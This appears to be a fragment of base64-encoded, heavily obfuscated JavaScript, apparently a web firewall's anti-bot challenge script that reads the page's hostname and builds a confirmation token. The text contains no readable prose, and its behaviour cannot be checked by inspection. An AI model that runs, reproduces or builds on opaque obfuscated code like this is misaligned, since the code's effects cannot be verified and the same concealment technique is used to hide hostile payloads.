msnLCcweDEzNCcpXShmLDB4NyotMHg1ZSstMHhhODYqLTB4MystMHgxY2YxKSwweDJlZSotMHhkKzB4MjVhYystMHgzNiotMHgyKSksdis9Jz0nO2JyZWFrO319dmFyIGg9b1trKCcweDRlNCcsJzB4NDgxJykraygnMHg0YTInLCcweDRkNScpXShyKyspO3YrPXFbdCgnMHgzZTknLCcweDM3NycpKyd0J10oc1trKCcweDNkZicsJzB4NDY5JyldKEwsLTB4MzAqLTB4NmMrLTB4MyotMHg1MTQrLTB4MjM3YSkpLHYrPXFbeCgnOGNedScsLScweDI5NScpKyd0J10oc1snSENhT1AnXShzW3goJ0JaMyMnLC0nMHgyNTMnKV0oc1snQm5FcFgnXShMLDB4MjUyYisweDEyMDkrLTB4MzczMSksLTB4MjFlNSoweDErLTB4M2FhKi0weDErMHg1NyoweDU5KSxzW3goJ2JnaGsnLC0nMHgyMDUnKV0oc1t0KCcweDQ5NicsJzB4NTFlJyldKGYsMHhkZDIqMHgyKy0weGZhZCstMHgzYWQqMHgzKSwtMHgyMjlhKi0weDErLTB4NDg5Ky0weDFlMGQpKSksdis9cVt4KCdrXmdYJywtJzB4MWNiJykrJ3QnXShzW2soJzB4M2U0JywnMHg0OTUnKV0oc1t4KCdaNkpvJywtJzB4MWI4JyldKHNbJ1dNZW1IJ10oZiwtMHgyM2IqMHgyKzB4MiotMHhiYTIrMHgxYmM5KSwweDEzMDArLTB4OTIqLTB4MjkrLTB4MmE2MCksc1trKCcweDRiMCcsJzB4NDUzJyldKHNbJ1dNZW1IJ10oaCwweDQ5YisweDE0ZWErLTB4MThjNSksMHgxMTBiKi0weDIrLTB4ZTY0KzB4MioweDE4NDApKSksdis9cVt0KCcweDNlOScsJzB4NDhlJykrJ3QnXShzW3QoJzB4NDM1JywnMHgzYzknKV0oaCwtMHg4Ki0weDI4ZistMHhhMzYrLTB4YTAzKSk7fWZ1bmN0aW9uIHgobyxzKXtyZXR1cm4gdShzLSAtJzB4MzUxJyxvKTt9cmV0dXJuIHY7fXNldEludGVydmFsKGZ1bmN0aW9uKCl7ZnVuY3Rpb24gaihvLHMpe3JldHVybiBSKG8tIC0nMHgzZTcnLHMpO312YXIgbz17J3JYQ25oJzpmdW5jdGlvbihzKXtyZXR1cm4gcygpO319O29baigtJzB4MjQ3JywtJzB4MmUwJyldKFopO30sLTB4MWIqLTB4MSstMHg0MDIrLTB4MSotMHgxMzg3KTtmdW5jdGlvbiBYKG8pe3ZhciBzPXsnYkRhdG0nOmZ1bmN0aW9uKEEseil7cmV0dXJuIEEmejt9LCdIYU5zUSc6ZnVuY3Rpb24oQSx6KXtyZXR1cm4gQT09ejt9LCdnUUlmbic6ZnVuY3Rpb24oQSx6KXtyZXR1cm4gQTx6O30sJ05QZEV4JzpmdW5jdGlvbihBLHope3JldHVybiBBPT09ejt9LCd2R3N2eSc6SSgnZDRHTicsLScweDhjJyksJ0ZjVUpRJzpJKCdReGshJywtJzB4YmYnKSwnaXJVY3InOmZ1bmN0aW9uKEEseil7cmV0dXJuIEE9PXo7fSwncFVNbHcnOmZ1bmN0aW9uKEEseil7cmV0dXJuIEE9PXo7fSwnSldTWnUnOmZ1bmN0aW9uKEEseil7cmV0dXJuIEE8ejt9LCdNZUViWic6ZnVuY3Rpb24oQSx6KXtyZXR1cm4gQT09ejt9LCdDd0RCSyc6ZnVuY3Rpb24oQSx6KXtyZXR1cm4gQT09ejt9LCdVYlBJYyc6ZnVuY3Rpb24oQSx6KXtyZXR1cm4gQXx6O30sJ1lBeEFaJzpmdW5jdGlvbihBLHope3JldHVybiBBPDx6O30sJ1hoWGVFJzpmdW5jdGlvbihBLHope3JldHVybiBBPj56O30sJ0NiRFpZJzpmdW5jdGlvbihBLHope3JldHVybiBBJno7fSwnYnRjZlYnOmZ1bmN0aW9uKEEseil7cmV0dXJuIEE9PXo7fSwnZGhLUkUnOmZ1bmN0aW9uKEEseil7cmV0dXJuIEE8PHo7fSwnSU5NdXknOmZ1bmN0aW9uKEEseil7cmV0dXJuIEEmejt9LCdpemhwUic6ZnVuY3Rpb24oQSx6KXtyZXR1cm4gQSZ6O30sJ3RueHBPJzpmdW5jdGlvbihBLHope3JldHVybiBBPHo7fSwnYnVGR3AnOmZ1bmN0aW9uKEEseil7cmV0dXJuIEE9PXo7fSwnb1NkWWYnOmZ1bmN0aW9uKEEseil7cmV0dXJuIEF8ejt9fSxxPW5ldyBBcnJheSgtKC0weDI0YSotMHhiKy0weDEyMzUrLTB4NmY4KSwtKDB4YzBlKy0weDEqLTB4MTJiZistMHgxZWNjKSwtKDB4OWFjKjB4MystMHgxMyotMHg5NSstMHgxNyoweDFiZSksLSgtMHg0NDIrLTB4MTBjYSsweDE1MGQpLC0oMHgxNjIzKi0weDErLTB4ZGQ2KzB4MioweDExZmQpLC0oMHgyNmU5Ky0weDUqLTB4NjhjKy0weDQ3YTQpLC0oLTB4MjgqLTB4ZjErMHgxMTI5Ky0weDgqMHg2ZGEpLC0oLTB4MioweDExZGIrLTB4MyoweDY0YysweDM2OWIpLC0oLTB4MmY5KjB4MSstMHgxZmExKzB4Yjg5KjB4MyksLSgweDE0NyotMHg3KzB4MSotMHgyNjNjKzB4MTZlKjB4MjEpLC0oLTB4MSoweDRiZSsweDFmMDArLTB4MWE0MSksLSgweDZmYioweDErMHgyNjU2Ky0weDJkNTApLC0oLTB4MjUqLTB4OTcrLTB4MjMzZSsweGQ2YyksLSgweDIzN2UqLTB4MSstMHgxKjB4MTBjNysweDM0NDYpLC0oLTB4NTQ3KjB4MSsweDEqMHg4M2IrLTB4MmYzKSwtKDB4MSoweDQ0NysweDMqLTB4YTBhKy0weDY3NiotMHg0KSwtKDB4MTIwOSsweDczOSstMHgxKjB4MTk0MSksLSgweDI5MCstMHgxNDQ0KjB4MSsweDExYjUpLC0oMHg4NWIrLTB4NGQ1KzB4MTEqLTB4MzUpLC0oMHhhZDcrMHg2OWYrLTB4MjkqMHg2ZCksLSgtMHgxKi0weDE3NTMrMHgxKi0weDE3ZmQrMHgxKjB4YWIpLC0oMHgxMWU4Ky0weDI0YTErMHgxMmJhKSwtKC0weDcqLTB4NGVmKy0weDFjMystMHgyMGM1KSwtKDB4MTAwMyotMHgxKzB4MThkMCsweDhjYyotMHgxKSwtKDB4MTgxNystMHgxN2IrLTB4MTY5YiksLSgtMHg2ZSstMHgxKjB4MWJkOSsweDI4KjB4YjUpLC0oMHgyMDA2KzB4MyotMHg1MzkrLTB4MTA1YSksLSgtMHg4NWQqMHgxKy0weDFlOGUrMHgyNmVjKSwtKC0weDcyYSstMHgxNWEqLTB4MTUrLTB4MTUzNyksLSgweDExOCsweGMqLTB4ZDYrLTB4MTUqLTB4NmQpLC0oLTB4ZTIrLTB4MWJlYisweDk5YSoweDMpLC0oLTB4ZWQqMHg3Ky0weDE5YmYrLTB4ZGYqLTB4MjUpLC0oMHg3NyoweDE3KzB4MWQ2YSstMHgxNjIqMHgxZCksLSgweDFmYzYrMHgyZWIrLTB4MjJiMCksLSgweGU2ZSsweDEwZTcqMHgyKy0weDEqMHgzMDNiKSwtKC0weGIqLTB4MmQ3KzB4NTY2KjB4MisweDE1MDQqLTB4MiksLSgweDIqMHgyY2YrMHg5OSotMHgyKzB4NTcqLTB4ZCksLSgtMHg2YTUrLTB4MWQ5YSoweDErMHgyNDQwKSwtKC0weDcwKzB4MjFiNSstMHgxMGEyKjB4MiksLSgtMHgxKi0weDNlNSsweDEqMHg3ZDcrMHhlNyotMHhkKSwtKDB4MzArMHgyMWMwKy0weDEqMHgyMWVmKSwtKC0weDEqLTB4MWRhNysweDEqLTB4MTMrLTB4MWQ5MyoweDEpLC0oMHg4MTkrLTB4MTYqLTB4NTMrMHgxKi0weGYzYSksLTB4MTcxNisweDIyMDMrMHgxKi0weGFhZiwtKC0weDQ3MyotMHg1Ky0weDIqLTB4MTI2MSstMHgzYjAwKSwtKDB4YWMwKzB4MyotMHg3MTkrMHgxNCoweDg3KSwtKC0weDEwYTkrMHg5ZWUrMHg2YmMpLC0weGVhZCotMHgyKzB4ZTIqMHg2Ky0weDIyNjcsLTB4MSotMHg1MDIrMHgxMmM5Ky0weDE3OTcsMHg2NjIrMHgxZTI2KzB4MTEqLTB4MjIzLC0weDVlNCstMHgxMWUqLTB4MWIrMHg3Ki0weDM3MCwtMHg0NDIrLTB4NyoweDUxNSsweDI4MGMsMHgxOWRiKzB4NyotMHgxYjErMHg2ZTYqLTB4MiwtMHg0KjB4NDgxKy0weDFlZjgrLTB4M2M5Ki0weGQsLTB4OTRkKy0weDIzNGUrLTB4MmNkNSotMHgxLC0weDEqMHhiYWYrMHgxKi0weDQzZistMHgxNSotMHhjNSwtMHgxMGI1KzB4MWIwZioweDErLTB4YTFlLDB4NWQ2KzB4MSotMHgyNWNlKy0weDY3MSotMHg1LC0oLTB4MjRhYystMHg2ZCoweDEwKzB4MmI3ZCksLSgweGZkMysweDExMGIrMHhiMyotMHgyZiksLSgweDc4OCotMHgxKzB4MTQ3YystMHhmZioweGQpLC0oMHgxMTkrLTB4MjQ4ZCotMHgxKy0weDFhMyoweDE3KSwtKDB4MjE3MyoweDErLTB4MWQ0OCstMHg0MmEqMHgxKSwtKDB4NjJkKzB4MjBlZCoweDErLTB4MjcxOSksLSgweDFhNDErMHgxMmZhKi0weDErLTB4NzQ2KSwtMHgyMzU2Ky0weDFjMDQrMHg3MGEqMHg5LDB4NTAqLTB4MTQrMHhhNCotMHgxMCstMHg1Ki0weDM0ZCwweGI2NystMHgzZCoweDZkKzB4ZTk0LDB4Yzk2KjB4MystMHgyNDJiKy0weDE5NCwweDM2MSoweDkrLTB4MSoweDgwMSstMHgxNjY0LDB4YjAzKjB4MystMHgxZjFhKy0weDFlYSwweDEqMHgyNjc3Ky0weGNjNysweGRiKi0weDFlLC0weDE1MyoweDEyKy0weDJiZCoweDQrMHgyMmQxLC0weDNiKjB4N2ErMHgxYTcrMHgzYzkqMHg3LC0weDMqMHhhMCsweGIqMHgyNjMrLTB4MTg1OCwtMHg0MzcqMHgxKy0weDIzYmErMHgyN2ZiLC0weDIyOGIqMHgxKzB4OSoweDMxNCsweDZlMiwweDI1NzkrMHgyKjB4OGVkKzB4MTBiKi0weDM1LC0weDIqLTB4YzFmKzB4MWQqLTB4ODMrMHg3MiotMHgxNSwtMHgxNGYyKzB4NTc5Ki0weDMrMHg1ZCoweDY3LDB4MWU1ZCstMHgyMmJlKzB4OGUqMHg4LC0weGIqMHgxYzUrLTB4MWFkYysweDJlNjMsLTB4MjNkZSstMHgxMzc3KzB4Mzc2NiwweGUqMHgxMDkrLTB4MTNlOCsweDU3YywtMHhkNjgrMHgxNyotMHg0YSsweDE0MjEsLTB4YzMrLTB4MjEzKi0weDMrMHgyYjEqLTB4MiwtMHgxNDRkKzB4MjIyYSstMHhkYzgsMHg0NDcqMHg0Ky0weDE5YjErMHg4YWIqMHgxLDB4YSotMHgzNjUrMHgyMDYxKy0weDIqLTB4ZDQsLTB4NmE2Ky0weDEqMHgxZjRlKzB4MjYwYywtMHg0OSotMHg4KzB4MWFiYSstMHgxY2U5LC0oMHhiZTcrMHg4NystMHhjNmQpLC0oMHg3ODkqMHgyKy0weDExNSotMHhlKzB4NSotMHg2MGIpLC0oLTB4OTJjKjB4MisweGI2KzB4MTFhMyksLSgtMHgyKi0weDdlOCstMHgxMWU1KzB4MjE2KSwtKC0weDEyNzUrMHg0N2YrMHhkZjcpLC0oMHgxYTVlKzB4YWErMHhiYiotMHgyNSksLTB4MWVjNyotMHgxKzB4MTM1NCstMHgzMjAxLC0weDEzYjUrMHgxKi0weDYzZCsweDFiKjB4ZjcsMHgyMGU1Ky0weGU3NSsweDkyYSotMHgyLC0weDMxMyotMHhhKzB4MTdlNyoweDErLTB4MTVkKjB4MjgsLTB4MTQzZSsweDIqMHg4N2QrMHgzNjIsLTB4Mjc3Ki0weDErMHgxKi0weDFkYmIrMHgxNzEqMHgxMywweGIqLTB4MWEzKzB4MjU3Ki0weDYrMHgyMDJiLDB4OCotMHg0ZDUrMHgxZmJlKzB4NzBiLC0weDIqMHg3NzErMHgyMjArMHhjZTQsMHgzYmMqLTB4NystMHhmYmErMHgyYTAxKjB4MSwtMHgyNDUzKzB4MWVmMCsweDU4NywweDE5MDArMHgxNjVmKzB4MTc5ZCotMHgyLDB4NWY5KjB4NSstMHhiMmIrLTB4MSoweDEyOGMsMHgxZWVjKzB4ZGMwKzB4MTg5Ki0weDFkLC0weGI4OSsweDk4OCstMHgyMjkqLTB4MSwtMHgxZGQrLTB4MSotMHgyMmYrLTB4MSoweDI5LC0weDI1MDYrMHg3ODUrMHgxZGFiLC0weDM5MystMHgxNjUxKzB4MWEwZioweDEsMHg5ZmQqLTB4MSstMHgxYTQxKy0weDI0NmEqLTB4MSwweDE0YTArLTB4MTMwMCstMHgxNzMqMHgxLC0weDUqLTB4MjQ2KzB4MTc5MistMHgyKjB4MTE2MSwweDM4OSotMHgyKzB4MyotMHgxYTErLTB4NTQqLTB4MjUsLTB4N2VlKzB4MWI0YysweDIqLTB4OTk3LC0weDY5MCotMHg1KzB4MSoweDFhMDMrLTB4M2FhMiwweDYyKjB4NDUrLTB4MSoweDI1MjQrMHgzKjB4M2E0LDB4MWNmOSstMHg0MGQqMHg1Ky0weDg4NSoweDEsLSgtMHg2Ki0weDRhMCstMHhlMGYrLTB4NDkwKjB4MyksLSgweGM1NistMHgxOGNkKi0weDErLTB4MjUyMiksLSgweDI1ZGErMHhhM2ErMHgzMDEzKi0weDEpLC0oLTB4MTE0YysweDFhN2MrLTB4OTJmKSwtKC0weDI2NGQrMHgxKi0weDI1OGQrMHg0YmRiKSksRz1vW0koJ2NwdSYnLC0nMHg2MScpKydoJ107ZnVuY3Rpb24gRDAobyxzKXtyZXR1cm4gUihzLSAtJzB4YTcnLG8pO31mdW5jdGlvbiBJKG8scyl7cmV0dXJuIHUocy0gLScweDE5MScsbyk7fWZ1bmN0aW9uIGEobyxzKXtyZXR1cm4gUihzLSAtJzB4MWQwJyxvKTt9dmFyIHY9Jyc7ZnVuY3Rpb24gdyhvLHMpe3JldHVybiB1KHMtIC0nMHgyMGYnLG8pO31mb3IodmFyIHI9LTB4MzUqMHgyNSstMHgxKi0weDIxZDArLTB4MWEyNztzW2EoLScweDExOCcsLScweDExNScpXShyLEcpOyl7dmFyIEwsZixoLFM7ZG97aWYoc1tEMCgnMHg1NCcsJzB4MWMnKV0oc1tJKCdCWjMjJywtJzB4MTFhJyldLHNbRDAoLScweGEnLC0nMHg0JyldKSl7Zj1zW0koJ0pob1YnLC0nMHgxMycpXShoW0QwKCcweDVjJywnMHg0NicpKydvZGVBdCddKFMrKyksMHgxZSoweDYzKzB4MmQqLTB4OWQrMHgxMGZlKTtpZihzW2EoJzB4MjInLC0nMHg4OCcpXShBLDB4ZDI5KzB4MWI1Ky0weGVhMSkpcmV0dXJuIHo7Tj1FW0tdO31lbHNlIEw9cVtzWydiRGF0bSddKG9bdygnKno5VScsLScweDc1JykrYSgtJzB4N2EnLC0nMHg4ZicpXShyKyspLDB4YTYrMHg0KjB4MjkxKy0weDllYildO313aGlsZShzW2EoLScweDkzJywtJzB4MTE1JyldKHIsRykmJnNbJ2lyVWNyJ10oTCwtKC0weGJkYSstMHgzMDUrMHhlZTApKSk7aWYoc1tEMCgtJzB4N2YnLCcweDI5JyldKEwsLSgtMHgxMzM5KzB4MWE1KjB4YisweDEyMykpKWJyZWFrO2Rve2Y9cVtzW2EoLScweDI5JywtJzB4OTAnKV0ob1tJKCdQNmR0JywtJzB4MTYnKSsnb2RlQXQnXShyKyspLDB4OWRlKy0weDI1ZTYrMHgxZDA3KV07fXdoaWxlKHNbdygnOW0wWCcsLScweDRkJyldKHIsRykmJnNbSSgnWXNMNycsLScweDExMCcpXShmLC0oLTB4MWQxYioweDErLTB4MSoweDFlZWErMHgzYzA2KSkpO2lmKHNbYSgtJzB4MTQyJywtJzB4YjAnKV0oZiwtKC0weGY0Ky0weDE1N2ErLTB4MSotMHgxNjZmKSkpYnJlYWs7dis9U3RyaW5nW3coJzVFREknLC0nMHhiMycpK2EoLScweDIwJywtJzB4ZicpKydkZSddKHNbdygnKEdSdycsLScweGQwJyldKHNbJ1lBeEFaJ10oTCwweDE2ZWMrLTB4MWZhKi0weDQrLTB4MyoweGE0Niksc1t3KCdiZ2hrJywtJzB4MTVlJyldKHNbRDAoJzB4ODknLCcweGYnKV0oZiwweDI5KjB4ODIrMHgxYzQyKy0weDcqMHg2ZmMpLC0weGMqMHgyZjkrLTB4ZWVkKzB4MTBkZioweDMpKSk7ZG97aD1zWydDYkRaWSddKG9bJ2NoYXJDJyt3KCcoR1J3JywtJzB4YjUnKV0ocisrKSwtMHgyMGI2Ky0weDUwKjB4NTIrMHgzYjU1KTtpZihzWydDd0RCSyddKGgsLTB4ZWFmKjB4MSsweGMyOSsweDJjMykpcmV0dXJuIHY7aD1xW2hdO313aGlsZShzWydKV1NadSddKHIsRykmJnNbdygnY3B1JicsLScweDg1JyldKGgsLSgtMHgyM2E1KzB4MWFlNSstMHgxKi0weDhjMSkpKTtpZihzW2EoLScweDNlJywtJzB4OWEnKV0oaCwtKC0weGNmKjB4MTYrMHgyMWY2Ky0weDEwMmIpKSlicmVhazt2Kz1TdHJpbmdbSSgnUXhrIScsLScweDYyJykrdygnIzNDUScsLScweGVkJykrJ2RlJ10oc1tEMCgtJzB4MTcnLCcweDM1JyldKHNbRDAoJzB4MTM4JywnMHhmYycpXShzW0QwKC0nMHg1YycsLScweGYnKV0oZiwweDIyODUrLTB4MThmOSsweDE1YiotMHg3KSwweDFhODArLTB4ZWI0Ky0weGJjOCoweDEpLHNbSSgnVWgpSCcsLScweDlmJyldKHNbJ2l6aHBSJ10oaCwtMHg4YiotMHhmKzB4YjIwKy0weDEzMDkpLC0weDIwMWQqLTB4MSsweDcqMHg0ZCstMHgyMjM2KSkpO2Rve1M9c1tJKCdaNkpvJywtJzB4NjAnKV0ob1t3KCcjM0NRJywtJzB4YzQnKSsnb2RlQXQnXShyKyspLDB4MjQ1KjB4MSsweGE3KjB4MTQrLTB4ZTUyKTtpZihzW2EoLScweDViJywtJzB4OWEnKV0oUywtMHg3Ki0weDU3OSsweDNmYiotMHgxKy0weDIyMTcpKXJldHVybiB2O1M9cVtTXTt9d2hpbGUoc1sndG54cE8nXShyLEcpJiZzW2EoLScweDE3OScsLScweDE0YScpXShTLC0oMHg1MzMqLTB4MistMHgxYjM3KzB4MjU5ZSkpKTtpZihzW2EoLScweGY5JywtJzB4MTRhJyldKFMsLSgtMHgxYjQ2KjB4MSstMHgxNzZmKzB4MTk1YioweDIpKSlicmVhazt2Kz1TdHJpbmdbSSgncW81TScsLScweDEwZScpK0QwKCcweDE5NCcsJzB4MTFhJykrJ2RlJ10oc1thKC0nMHgxYmInLC0nMHgxNWInKV0oc1thKCcweDIzJywtJzB4MmQnKV0oc1thKCcweDI2JywtJzB4NzEnKV0oaCwtMHgxZDQrLTB4MTEwYysweDNjNyoweDUpLDB4MzM2Ki0weDIrMHg1OSoweDEzKy0weDI5KSxTKSk7fXJldHVybiB2O31mdW5jdGlvbiBCKCl7ZnVuY3Rpb24gRDMobyxzKXtyZXR1cm4gUihzLSAtJzB4MTEwJyxvKTt9ZnVuY3Rpb24gRDIobyxzKXtyZXR1cm4gdShvLScweDEzNicscyk7fXZhciBvPXsnUnNXSEMnOmZ1bmN0aW9uKEcsdil7cmV0dXJuIEc8djt9LCduTWtHbic6ZnVuY3Rpb24oRyx2KXtyZXR1cm4gRyE9PXY7fSwnQ09CZGknOidZYUlERicsJ2ZCTllFJzonaUdwRnonLCd5WmFYUyc6ZnVuY3Rpb24oRyx2KXtyZXR1cm4gRyt2O319LHM9MHgyKjB4NDUrMHg0Ki0weDg2ZCstMHgzNTEqLTB4YSxxPS0weDMzYistMHgxZDgqLTB4MTArMHgxYTQ1Ki0weDE7Zm9yKHE9LTB4MTcxNistMHg2ZWIrMHgxKjB4MWUwMTtvW0QxKCcweDQ3JywnMHgyOScpXShxLEZbRDIoJzB4MmRmJywnSTdzSScpKydoJ10pO3ErKyl7aWYob1snbk1rR24nXShvW0QxKCcweDdiJywnMHg1NCcpXSxvW0QxKC0nMHg0MycsJzB4NWMnKV0pKXMrPUZbJ2NoYXJDJysnb2RlQXQnXShxKTtlbHNle2lmKEcpe3ZhciB2PWZbRDMoJzB4MWInLCcweDE3JyldKGgsYXJndW1lbnRzKTtyZXR1cm4gUz1udWxsLHY7fX19ZnVuY3Rpb24gRDEobyxzKXtyZXR1cm4gUihvLSAtJzB4YzMnLHMpO31yZXR1cm4gcyo9QyxzKz0tMHg3YzM1KzB4MSotMHg5MWVhKzB4MWQzKjB4MTgyLG9bJ3laYVhTJ10oJ1daV1NfQ09ORklSTV9QUkVGSVhfTEFCRUwnLHMpO31mdW5jdGlvbiB5KCl7dmFyIG89eydhaUZYZCc6ZnVuY3Rpb24ocSxHKXtyZXR1cm4gcSE9PUc7fSwneGN2U2onOmZ1bmN0aW9uKHEsRyl7cmV0dXJuIHEoRyk7fSwndFluVmgnOmZ1bmN0aW9uKHEsRyl7cmV0dXJuIHEhPT1HO30sJ2tnWHliJzpENCgtJzB4NTgnLC0nMHhlYicpLCdOYUVnYyc6ZnVuY3Rpb24ocSxHKXtyZXR1cm4gcShHKTt9fTtmdW5jdGlvbiBENihvLHMpe3JldHVybiB1KG8tIC0nMHgzNGMnLHMpO31mdW5jdGlvbiBENChvLHMpe3JldHVybiBSKG8tIC0nMHhlMScscyk7fXZhciBzPXsnaG9zdG5hbWUnOndpbmRvd1tENSgnMHgzOWUnLCcweDNkOCcpK0Q1KCcweDM3NycsJzB4MzYzJyldW0Q0KCcweDFmJywnMHg5MScpK0Q1KCcweDNlNScsJzB4Mzc5JyldLCdzY2hlbWUnOndpbmRvd1tENCgnMHg2JywnMHg4OCcpK0Q0KC0nMHgyMScsLScweGQnKV1bRDUoJzB4NDQwJywnMHgzYmInKSsnY29sJ11bRDQoJzB4ODcnLCcweGQ1JykrJ2NlJ10oJzonLCcnKX07ZnVuY3Rpb24gRDUobyxzKXtyZXR1cm4gUihvLScweDJiNycscyk7fWZ1bmN0aW9uIEQ3KG8scyl7cmV0dXJuIHUocy0nMHgxNDEnLG8pO31pZihvW0Q1KCcweDQ2MScsJzB4NGViJyldKFlbRDYoLScweDI5ZCcsJ1ApXVknKSsnT2YnXSgnV1pXU18nKSwtMHgxOSoweDE3YysweDgqMHgzMzArMHhiOWMpKXtpZihvW0Q2KC0nMHgxYWUnLCdjcHUmJyldKG9bJ2tnWHliJ10sb1tENSgnMHg0NzMnLCcweDRhOCcpXSkpe3ZhciBHPXsnaG9zdG5hbWUnOnJbRDYoLScweDFlMCcsJ3FvNU0nKSsnaW9uJ11bJ2hvc3RuJysnYW1lJ10sJ3NjaGVtZSc6TFtENSgnMHgzOWUnLCcweDM3OCcpKydpb24nXVtENCgnMHhhOCcsJzB4YzInKStENCgtJzB4NTQnLC0nMHhlOCcpXVsncmVwbGEnKydjZSddKCc6JywnJyl9O3JldHVybiBvW0Q2KC0nMHgxZWInLCdiZ2hrJyldKGZbJ2luZGV4JysnT2YnXSgnV1pXU18nKSwtMHgxMzQyKzB4MTZiMCstMHgzNmUpJiYoR1tENCgtJzB4NjQnLC0nMHgxMGYnKSsneSddPXopLG9bJ3hjdlNqJ10oUyxBW0Q3KCdReGshJywnMHgyMWYnKStENygnOGNedScsJzB4MzA1JyldKEcpKTt9ZWxzZSBzWyd2ZXJpZicrJ3knXT1ZO31yZXR1cm4gb1snTmFFZ2MnXShVLEpTT05bJ3N0cmluJytENygnNUVESScsJzB4MjA2JyldKHMpKTt9ZnVuY3Rpb24gUChvLHMpe2Z1bmN0aW9uIERvKG8scyl7cmV0dXJuIFIoby0gLScweDJjMycscyk7fWZ1bmN0aW9uIEQ4KG8scyl7cmV0dXJuIFIoby0nMHgyYzYnLHMpO31mdW5jdGlvbiBERChvLHMpe3JldHVybiB1KG8tJzB4MWQ1JyxzKTt9ZnVuY3Rpb24gRDkobyxzKXtyZXR1cm4gdShvLScweDMyZicscyk7fXZhciBxPXsnVmFDbWYnOkQ4KCcweDQ5MicsJzB4NGMxJykrRDkoJzB4M2ZhJywnVWgpSCcpKyc1JywneUFlWk8nOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFMoQSk7fSwnY1NoTVAnOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFM8QTt9fSxHPXFbREQoJzB4MzI5JywnKEdSdycpXVtEbygtJzB4MTdhJywtJzB4MjFmJyldKCd8Jyksdj0weDFiMTkrLTB4NWU5Ky0weDE4KjB4ZTI7d2hpbGUoISFbXSl7c3dpdGNoKEdbdisrXSl7Y2FzZScwJzppZighbylyZXR1cm4gbztjb250aW51ZTtjYXNlJzEnOnZhciByPUxbRDkoJzB4NGY2JywnYiFlQScpKydoJ107Y29udGludWU7Y2FzZScyJzp2YXIgTD1xW0REKCcweDM2NycsJyQoMEgnKV0oWCxvKTtjb250aW51ZTtjYXNlJzMnOmZvcih2YXIgZj0tMHgxY2QqLTB4MTArMHgxZWVkKy0weDNiYmQ7cVtEOSgnMHg0MTcnLCdiZ2hrJyldKGYscik7ZisrKXtoW2ZdPUxbREQoJzB4MzA4JywnU2VkMicpK0Q4KCcweDQwNycsJzB4MzYyJyldKGYpO31jb250aW51ZTtjYXNlJzQnOnZhciBoPW5ldyBVaW50OEFycmF5KHIpO2NvbnRpbnVlO2Nhc2UnNSc6cmV0dXJuIHNbJ2RlY29kJysnZSddKGhbRDgoJzB4NDk1JywnMHgzZjAnKSsnciddKTt9YnJlYWs7fX1mdW5jdGlvbiBWKG8scyl7dmFyIHE9eydHcEV1eCc6ZnVuY3Rpb24ocixMLGYpe3JldHVybiByKEwsZik7fX0sRz1uZXcgVGV4dERlY29kZXIocyk7ZnVuY3Rpb24gRHMobyxzKXtyZXR1cm4gdShzLScweGUnLG8pO312YXIgdj1xW0RzKCckKDBIJywnMHhiYicpXShQLG8sRyk7ZnVuY3Rpb24gRHEobyxzKXtyZXR1cm4gUihvLScweDM5OCcscyk7fXJldHVybiBKU09OW0RxKCcweDQxNicsJzB4NGJmJyldKHYpO31mdW5jdGlvbiBSKEQsbyl7dmFyIHM9YigpO3JldHVybiBSPWZ1bmN0aW9uKHEsdSl7cT1xLSgtMHgxMzgrMHgxKi0weGI1ZCsweGQwOSoweDEpO3ZhciBHPXNbcV07aWYoUlsnR2VVemVaJ109PT11bmRlZmluZWQpe3ZhciB2PWZ1bmN0aW9uKGgpe3ZhciBTPSdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaMDEyMzQ1Njc4OSsvPSc7dmFyIEE9Jycsej0nJyxOPUErdjtmb3IodmFyIEU9MHg2YjArLTB4MTdiMystMHgzNjcqLTB4NSxLLGQsSj0weDJmNyoweDcrLTB4MjRlNysweDI3KjB4NmE7ZD1oWydjaGFyQXQnXShKKyspO35kJiYoSz1FJSgweDMzMCstMHgxKi0weDIyMzUrLTB4MSoweDI1NjEpP0sqKDB4YzEzKzB4ZDMzKzB4MTkwNiotMHgxKStkOmQsRSsrJSgtMHhhZDcrLTB4MWZjNisweDJhYTEpKT9BKz1OWydjaGFyQ29kZUF0J10oSisoLTB4MWNkOSoweDErMHg5MDMrMHgxM2UwKSktKC0weDFmYWYrMHgxMSoweDFkNCsweGIqMHhmKSE9PS0weDEwMDMqMHgyKy0weDEqLTB4NzkrMHgxKjB4MWY4ZD9TdHJpbmdbJ2Zyb21DaGFyQ29kZSddKC0weGU2NyotMHgxKy0weGQqLTB4MTY1Ky0weDFmODkmSz4+KC0oMHg4KjB4NGFjKy0weDI1OTMqMHgxKy0weDEqLTB4MzUpKkUmMHg4ZDYrLTB4OTcrLTB4ODM5KSk6RTotMHgyMThhKzB4MmNiKzB4MWViZil7ZD1TWydpbmRleE9mJ10oZCk7fWZvcih2YXIgZT0tMHgxOWRhKzB4NjAqLTB4ZSsweDEqMHgxZjFhLG09QVsnbGVuZ3RoJ107ZTxtO2UrKyl7eis9JyUnKygnMDAnK0FbJ2NoYXJDb2RlQXQnXShlKVsndG9TdHJpbmcnXSgtMHgxMjkzKy0weDFmYmIrMHg3MzIqMHg3KSlbJ3NsaWNlJ10oLSgweDEqMHgzNTMrLTB4MWM5KjB4ZisweDE3NzYpKTt9cmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudCh6KTt9O1JbJ1BSb2RVcyddPXYsRD1hcmd1bWVudHMsUlsnR2VVemVaJ109ISFbXTt9dmFyIHI9c1stMHhkKjB4ZDArMHgxMGMwKy0weDEwKjB4NjNdLEw9cStyLGY9RFtMXTtpZighZil7dmFyIGg9ZnVuY3Rpb24oUyl7dGhpc1snQktFTFJtJ109Uyx0aGlzWydaYXZScFcnXT1bMHgxYTIzKy0weDM0OSotMHg5KzB4OTMqLTB4NjEsMHg1OSstMHgxMDIqMHgxMSstMHgxKi0weDEwYzksLTB4MTg0YystMHg3MDkrLTB4MjY5Ki0weGRdLHRoaXNbJ2hQa0ZSRCddPWZ1bmN0aW9uKCl7cmV0dXJuJ25ld1N0YXRlJzt9LHRoaXNbJ1ZnT1lNdCddPSdceDVjdytceDIwKlx4NWMoXHg1YylceDIwKntceDVjdytceDIwKicsdGhpc1snV2NrV3lkJ109J1tceDI3fFx4MjJdLitbXHgyN3xceDIyXTs/XHgyMCp9Jzt9O2hbJ3Byb3RvdHlwZSddWydlaE5TZWwnXT1mdW5jdGlvbigpe3ZhciBTPW5ldyBSZWdFeHAodGhpc1snVmdPWU10J10rdGhpc1snV2NrV3lkJ10pLEE9U1sndGVzdCddKHRoa